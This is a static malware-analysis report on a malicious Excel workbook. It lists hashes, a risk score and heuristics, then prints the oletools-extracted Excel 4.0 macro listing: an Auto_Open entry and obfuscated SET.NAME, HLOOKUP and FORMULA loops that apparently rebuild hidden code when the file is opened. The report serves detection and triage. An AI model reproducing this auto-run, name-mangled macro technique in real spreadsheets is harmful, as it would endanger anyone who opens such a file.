Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a547678a181ac16…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:54 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: f73f66c904d65ae299557ff771ddbadb SHA-1: e59f59b3b461d34e7c3636ff0e875bfc379e0600 SHA-256: 6a547678a181ac16a102e26d60f97273f833cae7198ee85127ff8fe2c6933ec9
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6546 bytes
SHA-256: 4770f0e66ecdda1907f57cbff5f7e0cfee3c25e0cafa29c2337bbd6c00db33d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'GiVALKsOQfwl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NrExfhok
' 0018     20 LABEL : Cell Value, String Constant - APUKE len=0 
' 0018     23 LABEL : Cell Value, String Constant - ATqDPxKO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G137 
' 0018     23 LABEL : Cell Value, String Constant - bolSBmay len=0 
' 0018     21 LABEL : Cell Value, String Constant - BWWZtF len=0 
' 0018     23 LABEL : Cell Value, String Constant - DPxLgFGx len=0 
' 0018     23 LABEL : Cell Value, String Constant - FsVHWlgW len=0 
' 0018     27 LABEL : Cell Value, String Constant - GiVALKsOQfwl len=0 
' 0018     25 LABEL : Cell Value, String Constant - JpnfmpqSfg len=0 
' 0018     25 LABEL : Cell Value, String Constant - lSMAvJNHMk len=0 
' 0018     22 LABEL : Cell Value, String Constant - mWmYvOG len=0 
' 0018     26 LABEL : Cell Value, String Constant - OqSrBPMAaqb len=0 
' 0018     24 LABEL : Cell Value, String Constant - qKaqOBPXZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - RGEkmSom len=0 
' 0018     20 LABEL : Cell Value, String Constant - rMysY len=0 
' 0018     25 LABEL : Cell Value, String Constant - sRfOzoMjXN len=0 
' 0018     26 LABEL : Cell Value, String Constant - TWPcMQXgfzB len=0 
' 0018     22 LABEL : Cell Value, String Constant - VNUulbR len=0 
' 0018     24 LABEL : Cell Value, String Constant - WvTnCxkqd len=0 
' 0018     25 LABEL : Cell Value, String Constant - yIhYpfowJH len=0 
' 0018     24 LABEL : Cell Value, String Constant - YXTPAyvPY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NrExfhok,G48,"SET.NAME("mWmYvOG",VALUE("0"))",""
'  NrExfhok,G50,"SET.NAME("JpnfmpqSfg",mWmYvOG)",""
'  NrExfhok,G52,"SET.NAME("qKaqOBPXZ",mWmYvOG)",""
'  NrExfhok,G55,"SET.NAME("WvTnCxkqd",COUNTA(yIhYpfowJH))",""
'  NrExfhok,G58,"SET.NAME("sRfOzoMjXN",COUNTA(OqSrBPMAaqb))",""
'  NrExfhok,G61,[],""
'  NrExfhok,G66,"SET.NAME("lSMAvJNHMk","")",""
'  NrExfhok,G69,"JpnfmpqSfg",""
'  NrExfhok,G73,"SET.NAME("DPxLgFGx",HLOOKUP("*",yIhYpfowJH,JpnfmpqSfg,FALSE))",""
'  NrExfhok,G75,"RGEkmSom",""
'  NrExfhok,G80,"SET.NAME("BWWZtF",mWmYvOG)",""
'  NrExfhok,G82,[],""
'  NrExfhok,G85,"BWWZtF",""
'  NrExfhok,G90,"bolSBmay",""
'  NrExfhok,G92,"VNUulbR",""
'  NrExfhok,G94,"TWPcMQXgfzB",""
'  NrExfhok,G99,"SET.NAME("APUKE",VALUE(HLOOKUP("*",OqSrBPMAaqb,TWPcMQXgfzB,FALSE)))",""
'  NrExfhok,G103,"GiVALKsOQfwl",""
'  NrExfhok,G105,"lSMAvJNHMk",""
'  NrExfhok,G110,"qKaqOBPXZ",""
'  NrExfhok,G115,NEXT(),""
'  NrExfhok,G118,"YXTPAyvPY",""
'  NrExfhok,G123,"SET.NAME("f",INT(T(FORMULA(T(lSMAvJNHMk)&"",""&T(YXTPAyvPY)))))",""
'  NrExfhok,G128,"ATqDPxKO",""
'  NrExfhok,G131,NEXT(),""
'  NrExfhok,G134,RETURN(),""
'  NrExfhok,G168,"SET.NAME("FsVHWlgW",G48)",""
'  NrExfhok,G172,"yIhYpfowJH",""
'  NrExfhok,G174,"SET.NAME("OqSrBPMAaqb",R42C15)",""
'  NrExfhok,G176,"SET.NAME("ATqDPxKO",185)",""
'  NrExfhok,G179,"SET.NAME("rMysY",7)",""
'  NrExfhok,G184,FsVHWlgW(),""
'  NrExfhok,G185,HALT(),""

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